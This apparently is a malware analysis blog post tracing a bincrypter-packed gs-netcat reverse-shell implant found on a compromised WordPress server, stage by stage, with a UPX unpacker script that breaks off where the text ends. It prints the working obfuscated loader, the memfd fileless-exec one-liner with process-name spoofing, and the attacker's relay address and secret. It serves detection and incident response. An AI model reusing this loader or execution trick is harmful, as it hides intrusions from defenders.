Analysis of Bincrypter and gsocket (gs-netcat): Artifacts extracted from a real compromise
Introduction
Recently, in a Linux server compromise, the TA used a gsocket binary as a reverse shell tunnel. The compromise started with a WordPress site affected by CVE-2026-18322 and the attacker dropped a gsocket binary in the site’s root plus persistence in crontab to execute it.
- https://bazaar.abuse.ch/sample/532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e/
- https://www.virustotal.com/gui/file/532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e/detection
More information about the CVE can be read here:
- [Coming soon ITRESIT Labs post]
| Name | Hash | Type |
|---|---|---|
| netd | 532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e | ELF |
It is the first time that I found in a real environment a binary encrypted with bincrypter and I think that is worth it writing about it as it contains some cool tricks.
The embedded ELF was the statically linked gs-netcat 1.4.42beta5 (built with -stealth) and pointing at a private GSRN relay at 103.253.27.96:443 with secret 4jkuTMcyat7L6eAGJCn93t.
Of course, netd was used by the attacker for stealthiness, I am not maintaining the name for anything special reason.
As part of this investigation, I am releasing two tools, YARA rules and a imhex pattern file.
- Bincrypter-Extract: Statically extract the payload embedded in a bincrypter-obfuscated shell script.
- Gsocket-Config-Extract: Extract the operator configuration embedded in a gsocket / gs-netcat binary.
- YARA rules — bincrypter-packed gsocket / gs-netcat implants:
- UPX-packed ELF64 HexPat
When you open the file, you will notice that it is three lines of obfuscated code and that it just defines a variable.
It is full of non printable and other UTF-8 characters in order to difficult the analysis.
Actually, almost everything is junk. When going to the end of the second line, which is the line that defines the variable “_” the following is noticed.
And some bytes before the following is noticed.
So, basically the script contains a lot of junk that is basically discarded because the real payload comes after a “;”. The variable is defining junk that does not affect the script execution not raise any error because it is followed by the ;eval(...)... which is the real part where execution happens.
In summary, we have a variable does do nothing but it contains an eval after a ; which executes the bad payload
Character Separator Trick
“I do not read any eval” should all of you be thinking. That is one of the first cool tricks. The script uses statements that resolve to True or False combined with && or || before a valid statement that is never executed deliberately. Thus, dividing the characters.
In other words, it contains if sentences followed by a statement and the operator used, && or ||, is the opposite of the forced True or False so it never executes and basically acts as a null, working as a separator between characters.
In sh, : evaluates to True (0) and thus ! : evaluates to False.
So, using && after ! : will never execute the statement that comes after and using || after : will never execute the statement that comes after, acting as the character separator because it is a do-nothing.
Some examples:
1
2
3
4
5
ev`! :&&^H#`al → eval
e`:||^G`ch`! :&&^H#`o → echo
pe`:||^G`rl → perl
op`:||^G`en`! :&&^H#`s`:||^G`sl → openssl
bas`! :&&^H#`e64 → base64
In summary, after extracting the whole command:
1
_='<3137 bytes of binary junk>';eval "$(echo <blob2>|LANG=C perl -pe "s/[^[:print:]]//g"|openssl base64 -A -d)"
Actual script that extracts the embedded binary
Blob2 is the following base64:
1
dW5zZXQgQkNWIEJDTApQPVEwaDZRbTlhWjNoVVUzZFhNbTlUVXdvPQpTPSdsMDNncTJBeUFtbThySllUJwpDPW85MHlUM3MzaW5GakkzSWZnTWR1RWc9PQpmb3IgeCBpbiBvcGVuc3NsIHBlcmwgZ3VuemlwOyBkbwogICAgY29tbWFuZCAtdiAiJHgiID4vZGV2L251bGwgfHwgeyBlY2hvID4mMiAiRVJST1I6IENvbW1hbmQgbm90IGZvdW5kOiAkeCI7IHJldHVybiAyNTU7IH0KZG9uZQp1bnNldCBmbiBfZXJyCmlmIFsgLW4gIiRaU0hfVkVSU0lPTiIgXTsgdGhlbgogICAgWyAiJFpTSF9FVkFMX0NPTlRFWFQiICE9ICIke1pTSF9FVkFMX0NPTlRFWFQlIjpmaWxlOiIqfSIgXSAmJiBmbj0iJDAiCmVsaWYgWyAtbiAiJEJBU0hfVkVSU0lPTiIgXTsgdGhlbgogICAgKHJldHVybiAwIDI+L2Rldi9udWxsKSAmJiBmbj0iJHtCQVNIX1NPVVJDRVswXX0iCmZpCmZuPSIke0JDX0ZOOi0kZm59IgpYUz0iJHtCQVNIX0VYRUNVVElPTl9TVFJJTkc6LSRaU0hfRVhFQ1VUSU9OX1NUUklOR30iClsgLXogIiRYUyIgXSAmJiB1bnNldCBYUwpbIC16ICIkZm4iIF0gJiYgWyAteiAiJFhTIiBdICYmIFsgISAtZiAiJDAiIF0gJiYgewogICAgZWNobyA+JjIgJ0VSUk9SOiBTaGVsbCBub3Qgc3VwcG9ydGVkLiBUcnkgIkJDX0ZOPUZpbGVOYW1lIHNvdXJjZSBGaWxlTmFtZSInCiAgICBfZXJyPTEKfQpfYmNfZGVjKCkgewogICAgX1A9IiR7UEFTU1dPUkQ6LSRCQ19QQVNTV09SRH0iCiAgICB1bnNldCBfIFBBU1NXT1JEIAogICAgaWYgWyAtbiAiJFAiIF07IHRoZW4KICAgICAgICBpZiBbIC1uICIkQkNWIiBdICYmIFsgLW4gIiRCQ0wiIF07IHRoZW4KICAgICAgICAgICAgX2JjbF9nZW5fcCAiJFAiIHx8IHJldHVybgogICAgICAgIGVsc2UKICAgICAgICAgICAgX1A9IiQoZWNobyAiJFAifG9wZW5zc2wgYmFzZTY0IC1BIC1kKSIKICAgICAgICBmaQogICAgZWxzZQogICAgICAgIFsgLXogIiRfUCIgXSAmJiB7CiAgICAgICAgICAgIGVjaG8gPiYyIC1uICJFbnRlciBwYXNzd29yZDogIgogICAgICAgICAgICByZWFkIC1yIF9QCiAgICAgICAgfQogICAgZmkKICAgIFsgLW4gIiRDIiBdICYmIHsKICAgICAgICBsb2NhbCBzdHIKICAgICAgICBzdHI9IiQoZWNobyAiJEMiIHwgb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1tZCBzaGEyNTYgLW5vc2FsdCAtayAiQy0ke1N9LSR7X1B9IiAtYSAtQSAyPi9kZXYvbnVsbCkiCiAgICAgICAgdW5zZXQgQwogICAgICAgIFsgLXogIiRzdHIiIF0gJiYgewogICAgICAgICAgICBbIC1uICIkQkNMIiBdICYmIGVjaG8gPiYyICJFUlJPUjogRGVjcnlwdGlvbiBmYWlsZWQuIgogICAgICAgICAgICByZXR1cm4gMjU1CiAgICAgICAgfQogICAgICAgIGV2YWwgIiRzdHIiCiAgICAgICAgdW5zZXQgc3RyCiAgICB9CiAgICBbIC1uICIkWFMiIF0gJiYgewogICAgICAgIGV4ZWMgYmFzaCAtYyAiJChwcmludGYgJXMgIiRYUyIgfExBTkc9QyBwZXJsIC1lICc8Pjs8PjtyZWFkKFNURElOLCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9ceDAwL2c7cy9CMi9CL2c7cHJpbnR9J3xvcGVuc3NsIGVuYyAtZCAtYWVzLTI1Ni1jYmMgLW1kIHNoYTI1NiAtbm9zYWx0IC1rICIke1N9LSR7X1B9IiAyPi9kZXYvbnVsbHxMQU5HPUMgcGVybCAtZSAicmVhZChTVERJTixcJF8sICR7UjotMH0pO3ByaW50KDw+KSJ8Z3VuemlwKSIKICAgIH0KICAgIFsgLXogIiRmbiIgXSAmJiBbIC1mICIkMCIgXSAmJiB7CiAgICAgICAgemY9J3JlYWQoU1RESU4sXCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9cXHgwMC9nO3MvQjIvQi9nO3ByaW50fScKICAgICAgICBwcmc9InBlcmwgLWUgJzw+Ozw+OyR6Zic8JyR7MH0nfG9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtbWQgc2hhMjU2IC1ub3NhbHQgLWsgJyR7U30tJHtfUH0nIDI+L2Rldi9udWxsfHBlcmwgLWUgJ3JlYWQoU1RESU4sXFxcJF8sICR7UjotMH0pO3ByaW50KDw+KSd8Z3VuemlwIgogICAgICAgIExBTkc9QyBleGVjIHBlcmwgJy1lJF5GPTI1NTtmb3IoMzE5LDI3OSwzODUsNDMxNCw0MzU0KXsoJGY9c3lzY2FsbCRfLCQiLDApPjAmJmxhc3R9O29wZW4oJG8sIj4mPSIuJGYpO29wZW4oJGksIiciJHByZyInfCIpO3ByaW50JG8oPCRpPik7Y2xvc2UoJGkpfHxleGl0KCQ/LzI1Nik7JEVOVnsiTEFORyJ9PSInIiRMQU5HIiciO2V4ZWN7Ii9wcm9jLyQkL2ZkLyRmIn0iJyIkezA6LXB5dGhvbjN9IiciLEBBUkdWO2V4aXQgMjU1JyAtLSAiJEAiCiAgICB9CiAgICBbIC1mICIke2ZufSIgXSAmJiB7CiAgICAgICAgdW5zZXQgLWYgX2JjbF9nZXQgX2JjbF92ZXJpZnkgX2JjbF92ZXJpZnlfZGVjCiAgICAgICAgdW5zZXQgQkNMIEJDViBfIFAgX2VycgogICAgICAgIGV2YWwgInVuc2V0IF9QIFMgUiBmbjskKExBTkc9QyBwZXJsIC1lICc8Pjs8PjtyZWFkKFNURElOLCRfLDEpO3doaWxlKDw+KXtzL0IzL1xuL2c7cy9CMS9ceDAwL2c7cy9CMi9CL2c7cHJpbnR9JzwiJHtmbn0ifG9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtbWQgc2hhMjU2IC1ub3NhbHQgLWsgIiR7U30tJHtfUH0iIDI+L2Rldi9udWxsfExBTkc9QyBwZXJsIC1lICJyZWFkKFNURElOLFwkXywgJHtSOi0wfSk7cHJpbnQoPD4pInxndW56aXApIgogICAgICAgIHJldHVybgogICAgfQogICAgWyAteiAiJGZuIiBdICYmIHJldHVybgogICAgZWNobyA+JjIgIkVSUk9SOiBGaWxlIG5vdCBmb3VuZDogJGZuIgogICAgX2Vycj0xCn0KWyAteiAiJF9lcnIiIF0gJiYgX2JjX2RlYyAiJEAiCnVuc2V0IGZuCnVuc2V0IC1mIF9iY19kZWMKaWYgWyAtbiAiJF9lcnIiIF07IHRoZW4KICAgIHVuc2V0IF9lcnIKICAgIGZhbHNlCmVsc2UKICAgIHRydWUKZmkK
It is actually interlapped with random non-printable bytes but at it is pipped to the following perl command seen above all non-printable characters are deleted as defined in the regex, giving this final base64 blob.
perl -pe 's/[^[:print:]]//g'
Which is then pipped into openssl to decode it.
Which gives the first stage.
The loader script is basically divided in three parts.
- First line contains the sh shebang:
#!/bin/sh
- Second line contains this Stage 0 just explained above.
- Third line contains the embedded ELF encrypted and gzipped. Explained below.
| Region | Offset | Content |
|---|---|---|
| Line 1 | 0 – 9 | #!/bin/sh\n |
| Line 2 | 10 – 11958 | Obfuscated one-liner: _='<blob1>';eval "$(echo <blob2> \| perl \| openssl base64 -d)" |
| Skip byte | 11959 | # (single byte discarded by the decoder) |
| Payload | 11960 – EOF | 1,082,290 bytes of escaped AES ciphertext, no newlines, no NULs |
Stage 1
The full script is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
unset BCV BCL
P=Q0h6Qm9aZ3hUU3dXMm9TUwo=
S='l03gq2AyAmm8rJYT'
C=o90yT3s3inFjI3IfgMduEg==
for x in openssl perl gunzip; do
command -v "$x" >/dev/null || { echo >&2 "ERROR: Command not found: $x"; return 255; }
done
unset fn _err
if [ -n "$ZSH_VERSION" ]; then
[ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
(return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[ -z "$XS" ] && unset XS
[ -z "$fn" ] && [ -z "$XS" ] && [ ! -f "$0" ] && {
echo >&2 'ERROR: Shell not supported. Try "BC_FN=FileName source FileName"'
_err=1
}
_bc_dec() {
_P="${PASSWORD:-$BC_PASSWORD}"
unset _ PASSWORD
if [ -n "$P" ]; then
if [ -n "$BCV" ] && [ -n "$BCL" ]; then
_bcl_gen_p "$P" || return
else
_P="$(echo "$P"|openssl base64 -A -d)"
fi
else
[ -z "$_P" ] && {
echo >&2 -n "Enter password: "
read -r _P
}
fi
[ -n "$C" ] && {
local str
str="$(echo "$C" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"
unset C
[ -z "$str" ] && {
[ -n "$BCL" ] && echo >&2 "ERROR: Decryption failed."
return 255
}
eval "$str"
unset str
}
[ -n "$XS" ] && {
exec bash -c "$(printf %s "$XS" |LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
}
[ -z "$fn" ] && [ -f "$0" ] && {
zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'
prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"
LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"
}
[ -f "${fn}" ] && {
unset -f _bcl_get _bcl_verify _bcl_verify_dec
unset BCL BCV _ P _err
eval "unset _P S R fn;$(LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'<"${fn}"|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
return
}
[ -z "$fn" ] && return
echo >&2 "ERROR: File not found: $fn"
_err=1
}
[ -z "$_err" ] && _bc_dec "$@"
unset fn
unset -f _bc_dec
if [ -n "$_err" ]; then
unset _err
false
else
true
fi
This is the bincrypter’s standard _bc_dec decryption hook.
At the start of the script the encryption configuration is found.
PandSare 16 random alphanumerics from/dev/urandomCis the config blob encrypted with keyC-${S}-${_P}Ris random padding sized(RANDOM*32768+RANDOM) % ((sz/100) * ${BC_PADDING:-25})
In this sample:
1
2
3
P=Q0h6Qm9aZ3hUU3dXMm9TUwo= # base64 → CHzBoZgxTSwW2oSS (embedded password)
S='l03gq2AyAmm8rJYT' # salt / key prefix
C=o90yT3s3inFjI3IfgMduEg== # AES blob → "R=12920"
$C is decrypted with key C-${S}-${_P} and eval‘d with results in defining "R=12920" in this case.
The encrypted blob (ELF) that the bincrypter routine is about the decrypt comes after it, so in the initial script it is the third line that above was shown also with non-printable characters because it is encrypted.
Variable fn and xs are used as a branch selector.
The XS branch is the bash -c "$(…)" delivery path:
1
2
3
4
5
6
XS="${BASH_EXECUTION_STRING:-$ZSH_EXECUTION_STRING}"
[...]
[ -n "$XS" ] && {
exec bash -c "$(printf %s "$XS" |LANG=C perl -e '<>;<>;read(STDIN,$_,1);while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null|LANG=C perl -e "read(STDIN,\$_, ${R:-0});print(<>)"|gunzip)"
}
The ciphertext is appended to the script file, so _bc_dec must read that file back. When the script is executed, $0 is the path and that’s fine. When it’s sourced, $0 is the calling shell (bash, -bash, dash), not the script, so $0 is useless and you need the shell-specific “who sourced me” variable.
1
2
3
4
5
6
if [ -n "$ZSH_VERSION" ]; then
[ "$ZSH_EVAL_CONTEXT" != "${ZSH_EVAL_CONTEXT%":file:"*}" ] && fn="$0"
elif [ -n "$BASH_VERSION" ]; then
(return 0 2>/dev/null) && fn="${BASH_SOURCE[0]}"
fi
fn="${BC_FN:-$fn}"
So fn is empty when executed, set when sourced. That’s the invariant everything else keys off.
1
2
3
4
5
[ -n "$XS" ] && { exec bash -c "$(…)"; } # no file at all
[ -z "$fn" ] && [ -f "$0" ] && { … memfd exec …; } # EXECUTED
[ -f "${fn}" ] && { eval "unset _P S R fn;$(…<"$fn")"; return; } # SOURCED
[ -z "$fn" ] && return
echo >&2 "ERROR: File not found: $fn"; _err=1
| Selector | Set when | Payload source | Payload treated as | Ends with |
|---|---|---|---|---|
XS non-empty | bash -c "$(…)" | $BASH_EXECUTION_STRING (in memory) | shell code → exec bash -c | exec |
fn empty, $0 is a file | file executed | $0 on disk | binary → memfd | exec |
fn set | file sourced | $fn on disk | shell code → eval | return |
In this case that netd was executed on disk the final routine that is executed is this one.
1
2
3
4
5
[ -z "$fn" ] && [ -f "$0" ] && {
zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'
prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"
LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"
}
So, the ELF is read from the proper script:
zf='read(STDIN,\$_,1);while(<>){s/B3/\n/g;s/B1/\\x00/g;s/B2/B/g;print}'
And then the perl in-line script command that decrypts it is DEFINED (not executed yet).
prg="perl -e '<>;<>;$zf'<'${0}'|openssl enc -d -aes-256-cbc -md sha256 -nosalt -k '${S}-${_P}' 2>/dev/null|perl -e 'read(STDIN,\\\$_, ${R:-0});print(<>)'|gunzip"
In summary, Perl discards two lines and then executes $zf, redirecting ${0} (name the script was invoked with), so basically the loader script content is inputted to Perl. The output is then piped to decrypt and gunzip it.
- First
<>;<>reads two lines of input and discards them. Deleting the shebang and the loader line. Remember the loader script was three lines as seen inStage 0. Thenread(...,1)eats the#separator.
- De-escaping: the packer encoded
B→B2,NUL→B1,LF→B3, so the ciphertext is newline-free and NUL-free (which is what lets<>slurp it as one “line” and keeps the fileexec-able as a script). Decode order matters:B3/B1first,B2→Blast.1,082,290 → 1,069,776bytes.
while(<>){s/B3/\n/g;s/B1/\x00/g;s/B2/B/g;print}
For example, input:
1
helloB3worldB1fooB2bar
becomes logically:
1
2
hello
world<NUL>fooBbar
- AES-256-CBC, MD5-free legacy KDF (
-md sha256 -nosalt), key material"${S}-${_P}".1,069,776 → 1,069,762bytes (14 bytes PKCS#7 padding).
openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "l03gq2AyAmm8rJYT-CHzBoZgxTSwW2oSS"
- Skip
R=12920bytes of random padding so the1f 8bgzip magic is not at a fixed offset.1,069,762 → 1,056,842bytes; gzip header mtime =2026-08-16 11:05:14 UTC.
perl -e 'read(STDIN,$_,12920);print(<>)'
gunzip→ 1,084,800-byte ELF, SHA-25689e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea.https://bazaar.abuse.ch/sample/89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea/
Stage 2
The decrypted ELF is executed directly in memory without touching disk through memfd (fileless ELF).
LANG=C exec perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);open($i,"'"$prg"'|");print$o(<$i>);close($i)||exit($?/256);$ENV{"LANG"}="'"$LANG"'";exec{"/proc/$$/fd/$f"}"'"${0:-python3}"'",@ARGV;exit 255' -- "$@"
- Perl sets FD_CLOEXEC on any descriptor above $^F (default 2). Raising it to 255 guarantees the memfd survives the upcoming
execve(). Without this the new image would inherit nothing, with the default 2 STDIN and STDOUT will be available after theexecve()but not the newly memfd created.
$^F=255
- A portable memfd_create(). Perl has no wrapper, so it invokes the raw syscall by number and simply tries each architecture’s number until one returns a valid
fd
for(319,279,385,4314,4354){ ($f=syscall $_, $", 0) > 0 && last }
| Number | Architecture |
|---|---|
| 319 | x86-64 |
| 279 | asm-generic — arm64 / riscv64 |
| 385 | arm (EABI) |
| 4314 | MIPS-family — does not match any real table (n64 is 5314); harmless, the loop just moves on |
| 4354 | MIPS o32 (4000 + 354) |
Arguments are memfd_create(name, flags):
1
2
- `$"` is Perl's list-separator variable, default `" "`. So, the *memfd* is named a single space, `/proc/<pid>/exe` therefore resolves to `/memfd: (deleted)` rather than anything descriptive.
- flags `0`. Deliberately not `MFD_CLOEXEC`, reinforcing the `$^F` trick.
- Later it opens File Descriptor just created by memfd
open($o,">&=".$f)
Expression >&=[FILE_DESCRIPTOR] does an fdopen() on the raw descriptor (no dup), so the numeric fd Perl will name in /proc/$$/fd/N is exactly the one from the syscall.
>— open for writing.&— refer to an existing file descriptor rather than a filename.=— use that exact descriptor, instead of duplicating it.- File descriptor
It is equivalent to use the file descriptor as an argument.
open($o,">&=", $f)
https://perldoc.perl.org/functions/open
1
If you specify '<&=X', where X is a file descriptor number or a filehandle, then Perl will do an equivalent of C's fdopen(3) of that file descriptor (and not call dup(2)); this is more parsimonious of file descriptors.
- Then, the perl decryption routine defined before is run via
/bin/sh -cand reads the plaintext ELF from the pipe.
open($i,"$prg|")
The trailing | means: execute the command stored in $prg and let Perl read its standard output through $i.
- Then the ELF is written straight into the memfd. It never touches a filesystem path
print $o (<$i>) ( $o is the memfd and $i the result of the script decryption)
- Finally, the payload is run
exec {"/proc/$$/fd/$f"} "${0:-python3}", @ARGV
Because the outer exec perl replaced the shell, and this exec replaces Perl, no intermediate process survives. The final process tree shows a single process whose /proc/<pid>/exe is a deleted memfd.
The exec is performed with the *block form:
exec { PROGRAM } LIST
The block { PROGRAM } explicitly tells Perl which executable to run, while LIST supplies the argument list passed to that executable, argv.
This differs from the simpler form where Perl normally derives the program to execute from the first element of the list.
exec "/bin/echo", "hello", "world";
This is done to specifically define argv[0] to spoof/masquerade the executable name of the process. In this case, being it python3 if $0 is not defined.
1
2
3
exec {"/proc/$$/fd/$f"} "${0:-python3}", @ARGV;
# ^ what actually runs ^ what argv[0] says it is
^ Original arguments are forwarded via @ARGV, so the payload sees the same command line
Stage 3
The final stage is the gsocket ELF just executed with itself is UPX packed.
| Hash |
|---|
| 89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea |
From the compromised machine it was extracted using /proc/PID/exe.
cp /proc/PID/exe [PATH]
The first interesting part is that if common upx tools are used to decompress extract the real payload they will fail.
That is because the l_info structure of UPX has been has been stripped out. The magic of UPX is not present.
And also l_lsize, l_version and l_format.
The checksum of course is available.
It is not the only trick, the magic is deleted in others UPX structures.
The magic at the trailing PackHeader is also zeroed.
And, the decompressed ELF contains an invalid ELF signature. The compressed bytes stored that corresponding to the “ELF” magic string in the original binary are zeroed, so the produced binary is not well formatted.
Claude wrote the following one-liner to restore the UPX headers, so it is correctly identified.
1
python3 -c "import struct,sys;f=sys.argv[1];d=bytearray(open(f,'rb').read());L=struct.unpack_from('<Q',d,0x20)[0]+struct.unpack_from('<H',d,0x36)[0]*struct.unpack_from('<H',d,0x38)[0];d[L+4:L+8]=b'UPX!';fs=struct.unpack_from('<I',d,L+16)[0];d[L+40:L+44]=b'\x7fELF';p=d.rfind(struct.pack('<I',fs))-24;d[p:p+4]=b'UPX!';d[L+10]=d[p+4];d[L+11]=d[p+5];struct.pack_into('<H',d,L+8,struct.unpack_from('<Q',d,0x60)[0]-struct.unpack_from('<Q',d,0x18)[0]);open(sys.argv[2],'wb').write(bytes(d[:p+32]))" payload.elf repacked.elf
The following image shows how UPX now goes from not detecting it is UPX-packed to detecting it is.
The cause is the program-header layout (example packing /usr/bin/find):
1
2
3
4
5
STOCK upx (4.x): LOAD RW @0x0 filesz=0x1000 memsz=0x31f00
LOAD R+E @0x32000 filesz=0x15ef1 memsz=0x15ef1
SAMPLE: LOAD R+E @0x0 filesz=0x108860 memsz=0x108860 align=0x200000
LOAD RW @0x109000 filesz=0 memsz=0x340740
The order and roles are inverted, and block sizing differs too (stock UPX split /usr/bin/find into 5 blocks capped at p_blocksize. This sample has one 2.2 MB block with p_blocksize = the whole file). UPX’s unpacker navigates via those phdrs, so it computes garbage offsets. This isn’t tampering, it’s a different UPX build, consistent with version=13, level=7, filter=0, and with whoever produced it also nulling the magics.
One doubt that remains is which UPX packer was used to get this result. It is possible that a custom UPX packer was used or at least a custom tool used to strip de UPX’s magic bytes.
What is clear is that is THC who does it. A genuine THC beta-channel binary from the self-extracting bundle gsocket/beta/bin/deploy-all.sh in github.com/hackerschoice/binary follows the same case.
| Artifact | l_info.l_magic | UPX! count |
|---|---|---|
THC stable gs-netcat_x86_64-alpine (2023) | UPX! | 4 |
THC beta gs-netcat_mini-linux-x86_64 (Mar 2026) | 00 00 00 00 | 0 |
| This sample | 00 00 00 00 | 0 |
So the mechanism lives in THC’s release automation, outside the public repo. The bincrypter’s deploy.sh contains only a comment mentions upx, no fixed-offset patching anywhere in the repo, the public build pipeline (build.sh) ends at upx tools/gs-netcat and the Dockerfile installs stock upx.
The following script can be used to finally reconstruct the original ELF.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#!/usr/bin/env python3
"""
Standalone unpacker for UPX/NRV2E-compressed ELF64 binaries whose UPX! magics
have been stripped (so `upx -d` refuses them).
Recovers the COMPLETE original file, including the regions UPX stores in blocks
placed *after* the loader stub (inter-segment padding, section headers,
.shstrtab, .comment) -- not just the PT_LOAD contents.
usage: python3 upx_unpack.py <packed.elf> <output.elf>
Only method 8 (M_NRV2E_LE32) with no filter (b_ftid == 0) is implemented; that
is what the samples in question use. The decompressor was validated against a
known plaintext/ciphertext pair produced by `upx --nrv2e` before use.
"""
import hashlib
import struct
import sys
# ---------------------------------------------------------------- NRV2E_LE32
class _Bits:
"""UCL LE32 bit reader: 32 bits per little-endian dword, MSB first."""
def __init__(self, src):
self.src, self.ip, self.bb, self.bc = src, 0, 0, 0
def getbit(self):
if self.bc == 0:
self.bb = int.from_bytes(self.src[self.ip:self.ip + 4], 'little')
self.ip += 4
self.bc = 32
bit = (self.bb >> 31) & 1
self.bb = (self.bb << 1) & 0xffffffff
self.bc -= 1
return bit
def byte(self):
b = self.src[self.ip]
self.ip += 1
return b
def nrv2e_decompress(src, expected_len=None):
s = _Bits(src)
op = bytearray()
last_m_off = 1
while True:
while s.getbit():
op.append(s.byte())
if expected_len and len(op) >= expected_len:
return bytes(op)
m_off = 1
while True:
m_off = m_off * 2 + s.getbit()
if s.getbit():
break
m_off = (m_off - 1) * 2 + s.getbit()
if m_off == 2:
m_off = last_m_off
m_len = s.getbit()
else:
m_off = (m_off - 3) * 256 + s.byte()
if m_off == 0xffffffff:
break
m_len = (m_off ^ 0xffffffff) & 1
m_off >>= 1
m_off += 1
last_m_off = m_off
if m_len:
m_len = 1 + s.getbit()
elif s.getbit():
m_len = 3 + s.getbit()
else:
m_len = 1
while True:
m_len = m_len * 2 + s.getbit()
if s.getbit():
break
m_len += 3
if m_off > 0x500: # M2_MAX_OFFSET for NRV2E
m_len += 1
for _ in range(m_len + 1):
op.append(op[len(op) - m_off])
if expected_len and len(op) >= expected_len:
return bytes(op)
return bytes(op)
# ------------------------------------------------------------- UPX structures
M_NRV2E_LE32 = 8
def find_l_info(d):
"""l_info sits immediately after the program header table."""
e_phoff = struct.unpack_from('<Q', d, 0x20)[0]
e_phentsize = struct.unpack_from('<H', d, 0x36)[0]
e_phnum = struct.unpack_from('<H', d, 0x38)[0]
return e_phoff + e_phentsize * e_phnum
def read_b_info(d, off):
if off + 12 > len(d):
return None
sz_unc, sz_cpr, method, ftid, cto8, unused = struct.unpack_from('<IIBBBB', d, off)
if method != M_NRV2E_LE32 or ftid != 0 or unused != 0:
return None
if sz_unc == 0 or sz_cpr == 0 or sz_cpr > sz_unc or sz_unc > 0x8000000:
return None
if off + 12 + sz_cpr > len(d):
return None
return sz_unc, sz_cpr
def collect_blocks(d, l_info, total_wanted):
"""Walk contiguous blocks, then scan past the loader stub for the rest.
UPX emits the b_info chain contiguously until the loader stub, then places
any remaining blocks after it. Stop as soon as the uncompressed sizes add
up to p_info.p_filesize.
"""
blocks, seen = [], 0
off = l_info + 24 # skip l_info (12) + p_info (12)
while seen < total_wanted:
bi = read_b_info(d, off)
if bi is None:
break
sz_unc, sz_cpr = bi
blocks.append((off, sz_unc, sz_cpr))
seen += sz_unc
off += 12 + sz_cpr
if seen == total_wanted:
return blocks
# The remaining blocks sit after the loader stub, but are still contiguous
# with each other. Find the one start offset whose contiguous chain
# accounts for exactly the missing bytes -- scanning for individual b_info
# structures produces false positives inside compressed data.
